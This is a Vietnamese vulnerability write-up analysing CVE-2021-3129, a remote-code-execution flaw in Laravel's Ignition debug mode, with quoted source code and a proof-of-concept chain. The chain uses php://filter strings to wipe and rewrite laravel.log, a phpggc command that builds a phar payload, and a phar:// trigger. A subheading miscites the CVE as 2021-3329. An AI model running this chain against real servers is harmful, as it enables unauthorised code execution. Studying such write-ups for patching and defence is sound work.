PHÂN TÍCH VÀ XÂY DỰNG POC KHAI THÁC CVE-2021-3129
14/09/2021
Cách thức khai thác lỗ hổng CVE-2021-3329
[+] Giới thiệu:
CVE này nói về 1 lỗ hổng của của chức năng debug mode trong lavarel famework. Chúng ta có thể RCE thông qua việc dùng protocal phar cho file ./storage/logs/laravel.log
Điều kiện: Laravel <= v8.4.2, Ignition <= 2.5.1 và website đã bật debug mode.
[+] Phân tích:
Đầu tiên là nói về Ignition là công nghệ trình báo lỗi của lavarel, rất tiện lợi cho developer trong việc debug cũng như fix bug của website. Nó sẽ phỏng đoán và đưa ra các solution để fix bug.
Hình 1. Ignition nó sẽ thông báo bug là missing key
Như đã thấy thì Ignition nó sẽ thông báo bug là missing key, và khi chúng ta nhấn vào Generate app key thì nó sẽ tạo tự tạo key cho chúng ta, và chúng ta thử bật burp, để xem gói tin của nó như thế nào.
Hình 2. tìm file GenerateAppKeySolution.php để thực hiện nạp key vào
- Thì khi nhấn vào nó sẽ tìm file GenerateAppKeySolution.php để thực hiện nạp key vào.
- Nhưng ngoài solution tạo key này, còn có nhiều solution khác:
Hình 3. MakeViewVariableOptionalSolution.php không được ràng buộc kỹ
-
Và trong số các solution có MakeViewVariableOptionalSolution.php không được ràng buộc kỹ, cho nên chúng ta có thể exploit chổ này. Và thử phân tích source code bên trong nó.
Đầu tiên ta sẽ xem cách mà controller gọi solution này và chỗ mà chúng ta có thể exploit.
<?php
namespace Facade\\Ignition\\Http\\Controllers;
use Facade\\Ignition\\Http\\Requests\\ExecuteSolutionRequest;
use Facade\\IgnitionContracts\\SolutionProviderRepository;
use Illuminate\\Foundation\\Validation\\ValidatesRequests;
class ExecuteSolutionController
{
use ValidatesRequests;
public function __invoke(
ExecuteSolutionRequest $request,
SolutionProviderRepository $solutionProviderRepository
) {
$solution = $request->getRunnableSolution();
$solution->run($request->get('parameters', []));
return response('');
}
}
Dễ dàng thấy được, khi controller excute 1 solution thì tự động nó sẽ gọi tới run function và biến parameters chúng ta có thể controller. Tương ứng với việc khi call MakeViewVariableOptionalSolution.php thì nó sẽ gọi tới MakeViewVariableOptionalSolution::run().
<?php
namespace Facade\\Ignition\\Solutions;
use Facade\\IgnitionContracts\\RunnableSolution;
use Illuminate\\Support\\Facades\\Blade;
class MakeViewVariableOptionalSolution implements RunnableSolution
{
...
public function run(array $parameters = [])
{
$output = $this->makeOptional($parameters);
if ($output !== false) {
file_put_contents($parameters['viewFile'], $output);
}
}
public function makeOptional(array $parameters = [])
{
$originalContents = file_get_contents($parameters['viewFile']);
$newContents = str_replace('$'.$parameters['variableName'], '$'.$parameters['variableName']." ?? ''", $originalContents);
$originalTokens = token_get_all(Blade::compileString($originalContents));
$newTokens = token_get_all(Blade::compileString($newContents));
$expectedTokens = $this->generateExpectedTokens($originalTokens, $parameters['variableName']);
if ($expectedTokens !== $newTokens) {
return false;
}
return $newContents;
}
protected function generateExpectedTokens(array $originalTokens, string $variableName): array
{
$expectedTokens = [];
foreach ($originalTokens as $token) {
$expectedTokens[] = $token;
if ($token[0] === T_VARIABLE && $token[1] === '$'.$variableName) {
$expectedTokens[] = [T_WHITESPACE, ' ', $token[2]];
$expectedTokens[] = [T_COALESCE, '??', $token[2]];
$expectedTokens[] = [T_WHITESPACE, ' ', $token[2]];
$expectedTokens[] = [T_CONSTANT_ENCAPSED_STRING, "''", $token[2]];
}
}
return $expectedTokens;
}
}
- Trong run function này nó sẽ gọi đến makeOptional function, và chúng ta dễ dàng trigger được phar deserialize thông qua file_get_contents (phar://)
- Và idea là khi chúng ta truyền giá trị vào $parameters['viewFile'] chẳng hạn như abc thì file log trong laravel sẽ ghi lại thống báo lỗi. thì dự vào đây chúng ta có thể clear file log và convert context của nó thành file phar. Từ đó dùng phar:// protocal để trigger được PHAR DESERIALIZE → RCE.
[+] PoC:
-
Đầu tiên là clear được file log trong ./storage/logs/laravel.log bằng : file_get_content('php://filter/write=convert.iconv.utf-8.utf-16be|convert.quoted-printable-encode|convert.iconv.utf-16be.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log'
Hình 4. clear được file log trong ./storage/logs/laravel.log
cat file log:
Hình 5. cat file log
- Convert context laravel.log theo ý mình muốn, thì phải tìm cái format của file log.
- Format có file log có đạng:
[previous log entries]
[prefix]PAYLOAD[midfix]PAYLOAD[suffix]
Đầu tiên là ta sẽ add prefix vào trước:
Hình 6. add prefix
Đọc nội dung File Log:
- cat file log:
Hình 7. cat file log
- Add payload : Để thuận tiện hơn ta có thể dùng phpggc tool để tạo payload phar, chuyển sang dạng =50.....=00 để dễ dàng convert context file log.
php -d'phar.readonly=0' ./phpggc monolog/rce1 system 'id' --phar phar -o php://output | base64 -w0
- Tiếp theo dùng File Script Python để chuyển đổi định dạng Payload:
import base64
Hình 8. dùng code python để chuyển đổi định dạng
cat file log:
Hình 9. cat file log
CONVERT CONTEXT LOG TO PHAR :
php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log
Hình 10. convert context log to phar
Đọc nội dung file Log:
- cat file log:
Hình 11. cat file log
-> Đã thành công
[+] Execute Payload to RCE:
Payload: phar:///src/storage/logs/laravel.log/test.txt
Hình 12. Excute file log để rce
Những công cụ được sử dụng:
- Laravel <= v8.4.2
- REFERENCES
Theo đường dẫn